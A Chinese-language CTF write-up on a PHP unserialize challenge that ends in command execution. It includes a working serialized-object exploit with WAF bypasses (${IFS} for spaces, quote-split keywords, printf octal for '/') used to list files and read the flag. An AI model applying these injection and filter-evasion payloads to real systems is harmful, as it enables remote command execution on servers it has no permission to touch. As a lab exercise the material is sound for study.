题目给出源码:
<?php
highlight_file(__FILE__);
class ease{
private $method;
private $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
function __destruct(){
if (in_array($this->method, array("ping"))) {
call_user_func_array(array($this, $this->method), $this->args);
}
}
function ping($ip){
exec($ip, $result);
var_dump($result);
}
function waf($str){
if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {
return $str;
} else {
echo "don't hack";
}
}
function __wakeup(){
foreach($this->args as $k => $v) {
$this->args[$k] = $this->waf($v);
}
}
}
$ctf=@$_POST['ctf'];
@unserialize(base64_decode($ctf));
?>
通过post方式将ctf参数的值解码后反序列化,说明ctf的值应该先序列化成json形式,再进行base64编码。并且传参后有反序列化函数unserialize,所有会自动执行__wakeup函数。ease类对象创建后会依次执行__construct,__wakeup,waf,__destruct,ping函数,__construct函数给两个参数赋值(method,args),__wakeup执行foreach函数将数组args循环键值对赋值,使用waf函数正则表达式,过滤空格,|,&,;,/,cat,flag,tac,php,ls这些字符串,最后__destruct函数中匹配method成功后会执行ping函数,执行参数args中的命令。
如下代码,依次执行不同的$ease=new ease(...)语句,其中空格用${IFS}代替,关键词cat、flag、php等可以用双引号代替,/可以用oct编码$(printf${IFS}"\57")代替。
<?php
class ease{
private $method="";
private $args="";
function __construct($method,$args){
$this->method=$method;
$this->args=$args;
}
}
//$ease=new ease("ping",array("'l''s'"));
/*执行该命令,结果显示一个文件夹和一个文件,
很明显flag就在flag_1s_here文件夹里,
如果你不确定这是文件夹还是文件,就使用ls或者cat
array(2) {
[0]=>
string(12) "flag_1s_here"
[1]=>
string(9) "index.php"
}
*/
//上面显示flag所在文件夹,我们可以使用命令 ls flag_1s_here,看看里面有什么文件
//$ease=new ease("ping",array('l""s${IFS}f""lag_1s_here'));
/*说明flag_1s_here里面只有一个PHP文件
array(1) {
[0]=>
string(25) "flag_831b69012c67b35f.php"
}
*/
//当前目录下有flag_1s_here,如果我们想打开flag的PHP文件,
//需要执行cat flag_1s_here/flag_831b69012c67b35f.php
$ease=new ease("ping",array('c""at${IFS}f""lag_1s_here$(printf${IFS}"\57")f""lag_831b69012c67b35f.p""hp'));
$result=serialize($ease);
$ctf=base64_encode($result);
echo $result;
echo "\n";
echo $ctf;
?>
得到flag。